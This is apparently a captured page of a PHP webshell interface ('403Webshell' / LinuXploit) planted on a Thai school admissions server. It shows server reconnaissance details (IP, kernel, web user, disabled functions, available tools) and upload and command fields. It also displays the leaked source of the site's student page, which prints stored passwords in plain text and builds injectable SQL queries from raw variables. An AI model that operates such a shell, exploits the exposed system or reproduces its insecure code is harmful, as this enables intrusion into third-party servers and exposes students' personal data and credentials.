403Webshell
Server IP : 61.19.30.66  /  Your IP : 216.73.216.59
Web Server : Apache/2.2.22 (Ubuntu)
System : Linux klw 3.11.0-15-generic #25~precise1-Ubuntu SMP Thu Jan 30 17:39:31 UTC 2014 x86_64
User : www-data ( 33)
PHP Version : 5.3.10-1ubuntu3.48
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : ON  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/admissions3/regis4/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/admissions3/regis4/user_page.php
<?php include("config/configuser.inc.php");
$idu  =$objResult["id"];
$cllass  =$objResult["cllass"];
$pin  =$objResult["pin"];
$idstudent  =$objResult["idstudent"];
$statp  =$objResult["statp"];
$idregis =$objResult["idstudent"];
$panstat =$objResult["pan"];
$idtest =$objResult["idtest"];
?>

<?
require_once "head.php";
?>
<html>
<head>
<meta http-equiv=Content-Type content="text/html; charset=tis-620">
<title>ฝ่ายบริหารงานวิชาการ</title>


</head>
<body>	
<table>
<tr>
        <td width="300" bgcolor="#FFFFFF" ><font size="2"> &nbsp;รหัสนักเรียน</font></td>

		<td width="100" bgcolor="#FFFFFF"><font size="2"><?=$objResult["pin"];?></font></td>
		<td width="100" bgcolor="#FFFFFF"><font size="2"><?=$objResult["prefix"];?><?=$objResult["name"];?>&nbsp;&nbsp;<?=$objResult["surname"];?></font></td>
		<td width="200" bgcolor="#FFFFFF"" ><font size="2">สมัครเข้าเรียนประเภท<?=$objResult["idstudent"];?>/<?=$objResult["room"];?></font></td>
		<td width="197" bgcolor="#FFFFFF"" ><font size="2">สมัครวันที่&nbsp;<?=$objResult["signup"];?></font></td>
		<td width="197" bgcolor="#FFFFFF"" ><font size="2"><?=$objResult["Password"];?></font></td>
		<td width="197" bgcolor="#FFFFFF"" ><font size="2"></font></td>
</tr>
<tr>
        <td width="100" bgcolor="#FFFFFF" ><font size="2">วัน/เดือน/ปี เกิด&nbsp; <?=$objResult["bird"];?></font></td>
        <td width="100" bgcolor="#FFFFFF" ><font size="2">น้ำหนัก&nbsp; <?=$objResult["wegh"];?></font></td>
		<td width="197" bgcolor="#FFFFFF" ><font size="2">ส่วนสูง&nbsp; <?=$objResult["tall"];?></font></td>
		<td width="197" bgcolor="#FFFFFF" ><font size="2"></font></td>
		<td width="197" bgcolor="#FFFFFF" ><font size="2"></font></td>
</tr>
<tr>
        <td width="100" bgcolor="#FFFFFF" ><font size="2">บิดา&nbsp; <?=$objResult["father"];?></font></td>
        <td width="100" bgcolor="#FFFFFF" ><font size="2"> อาขีพ&nbsp; <?=$objResult["fatherw"];?> </font></td>
		<td width="197" bgcolor="#FFFFFF" ><font size="2"></font></td>
		<td width="197" bgcolor="#FFFFFF" ><font size="2"></font></td>
		<td width="197" bgcolor="#FFFFFF" ><font size="2"></font></td>
</tr>
<tr>
        <td width="100" bgcolor="#FFFFFF" ><font size="2">มาดา&nbsp; <?=$objResult["mather"];?></font></td>
        <td width="100" bgcolor="#FFFFFF" ><font size="2"> อาขีพ&nbsp; <?=$objResult["matherw"];?> </font></td>
		<td width="197" bgcolor="#FFFFFF" ><font size="2">บ้านเลขที่&nbsp; <?=$objResult["homeid"];?></font></td>
		<td width="197" bgcolor="#FFFFFF" ><font size="2">ต.&nbsp; <?=$objResult["tumbol"];?></font></td>
		<td width="197" bgcolor="#FFFFFF" ><font size="2">อ.&nbsp; <?=$objResult["ampher"];?></font></td>
		<td width="197" bgcolor="#FFFFFF" ><font size="2">จ.&nbsp; <?=$objResult["districs"];?></font></td>
</tr>
<tr>
        <td width="60" bgcolor="#FFFFFF" ><font size="2">กำลังศึกษา/จบ  ม3 โรงเรียน</font></td>
        <td width="60" bgcolor="#FFFFFF" ><font size="2">&nbsp; <?=$objResult["schoolout"];?></font></td>
		<td width="197" bgcolor="#FFFFFF" ><font size="2"></font></td>
		<td width="197" bgcolor="#FFFFFF" ><font size="2">จ.<?=$objResult["distric"];?></font></td>
		<td width="197" bgcolor="#FFFFFF" ><font size="2"></font></td>
		<td width="197" bgcolor="#FFFFFF" ><font size="2"></font></td>
</tr>

</table>
<table width="700">

<?
	
	$strSQL = "SELECT * FROM uploadsimg11 where userpic='$idu'";
	$objQuery = mysql_query($strSQL) or die ("Error Query [".$strSQL."]");
?>

<table width="100%" border="0">
<tr>
<th width="150"> <div align="center"></div></th>
<th width="150"> <div align="center"></div></th>
</tr>
<?
	while($objResult = mysql_fetch_array($objQuery))
	{
		$namepic=$objResult["image_name"];
		$idup=$objResult["upload_id"];
?>
<?
	}
?>

<tr>

<?

				$crsql="SELECT count(userpic) FROM `uploadsimg11`
				WHERE userpic='$idu'";
				$slr=mysql_query($crsql) or die(mysql_error()."<br>".$crsql);
				$dcrd = mysql_fetch_array($slr);
				$sumpic=$dcrd[0];


				$crsql="SELECT count(userpic) FROM `uploadsimg12`
				WHERE userpic='$idu'";
				$slr=mysql_query($crsql) or die(mysql_error()."<br>".$crsql);
				$dcrd = mysql_fetch_array($slr);
				$sumpic2=$dcrd[0];



				$crsql="SELECT count(userpic) FROM `uploadsimg`
				WHERE userpic='$idu'";
				$slr=mysql_query($crsql) or die(mysql_error()."<br>".$crsql);
				$dcrd = mysql_fetch_array($slr);
				$sumpic3=$dcrd[0];


				$crsql="SELECT (idtpy_name) FROM tpyad4 where idtpy_id='$idregis' ";
				$slr=mysql_query($crsql) or die(mysql_error()."<br>".$crsql);
				$dcrd = mysql_fetch_array($slr);
				$nametpy=$dcrd[0];
				

				$crsql="SELECT count(pinfather) FROM `member4`
				WHERE id='$idu' and pinfather>0 ";
				$slr=mysql_query($crsql) or die(mysql_error()."<br>".$crsql);
				$dcrd = mysql_fetch_array($slr);
				$numpinfather=$dcrd[0];


				$crsql="SELECT count(pinmather) FROM `member4`
				WHERE id='$idu' and pinmather>0 ";
				$slr=mysql_query($crsql) or die(mysql_error()."<br>".$crsql);
				$dcrd = mysql_fetch_array($slr);
				$numpinmather=$dcrd[0];


                $statuspin=$numpinfather+$numpinmather;



				$crsql="SELECT count(idtestm4) FROM `passm4`
				WHERE idtestm4='$idtest' ";
				$slr=mysql_query($crsql) or die(mysql_error()."<br>".$crsql);
				$dcrd = mysql_fetch_array($slr);
				$pass=$dcrd[0];
 ?>





<br><center>
<font size='+2' color='red'>ก่อนพิมพ์ใบรายงานตัว   กรอกข้อมูลให้ตรวจสอบข้อมูลให้ถูกต้อง ครบทุกช่อง ตามเมนูด้านซ้ายมือ</font>
<br><center>
<font size='+2' color='red'>ประเภทที่รายงานตัวของคุณคือ <? echo $nametpy; ?></font>
<br>
<br>
<br>
<br>

<? if($pass>0)
 {
  echo "<span style=\"color: #228B22;\">ยินดีด้วยคะ คุณผ่านการคัดเลือก ตั้งใจเรียนนะคะ</span>";
 }
 else if($pass<1)
 {
   echo "<span style=\"color: #0000FF;\">เสียใจด้วยคะ คุณไม่ผ่านการคัดเลือก </span>";
 }
 else
 {
   echo "";
 }
?>
</table>


<table>

<?
	
	$strSQL = "SELECT * FROM uploadsimg12 where userpic='$idu'";
	$objQuery = mysql_query($strSQL) or die ("Error Query [".$strSQL."]");
?>

<table width="100%" border="0">
<tr>
<th width="150"> <div align="center"></div></th>
<th width="150"> <div align="center"></div></th>
</tr>
<?
	while($objResult = mysql_fetch_array($objQuery))
	{
		$namepic2=$objResult["image_name"];
		$idup2=$objResult["upload_id"];
?>
<?
	}
?>
</table>



<table>

<?
	
	$strSQL = "SELECT * FROM uploadsimg13 where userpic='$idu'";
	$objQuery = mysql_query($strSQL) or die ("Error Query [".$strSQL."]");
?>

<table width="100%" border="0">
<tr>
<th width="150"> <div align="center"></div></th>
<th width="150"> <div align="center"></div></th>
</tr>
<?
	while($objResult = mysql_fetch_array($objQuery))
	{
		$namepic3=$objResult["image_name"];
		$idup3=$objResult["upload_id"];
?>
<?
	}
?>
</table>
<br><p style="text-align: right;">
<ul id="miniflex">
<li>&nbsp;<a href="user_page.php"><font size='2'>หน้าหลัก</font></a> &nbsp;</li>





<li>&nbsp;<a href="edit.php?id=<? echo $idu;?>"><font size='2'>กรอกข้อมูลหลักที่นี่</font></a> &nbsp;</li>
<li>
<? if($pass>0)
 {
  echo "<a href=printr.php?id=$idu><span style=\"color: #0000FF;\">พิมพ์ใบรายงานตัว</span>";
 }
 else if($pass<1)
 {
   echo "<span style=\"color: #0000FF;\">คุณไม่ผ่านการคัดเลือก</span>";
 }
 else
 {
   echo "";
 }
?>
</li>



<li>
<a href="logout.php"><font size='2'><img src="../images/out.jpg" width="30" height="30" ></a>ออกจากระบบ</li>
</ul>
</p>
<br>
















<table>


</table>
 <font size='2'>ฝ่ายบริหารงานวิชาการ</font>
</body>

</html>

Youez - 2016 - github.com/yon3zu
LinuXploit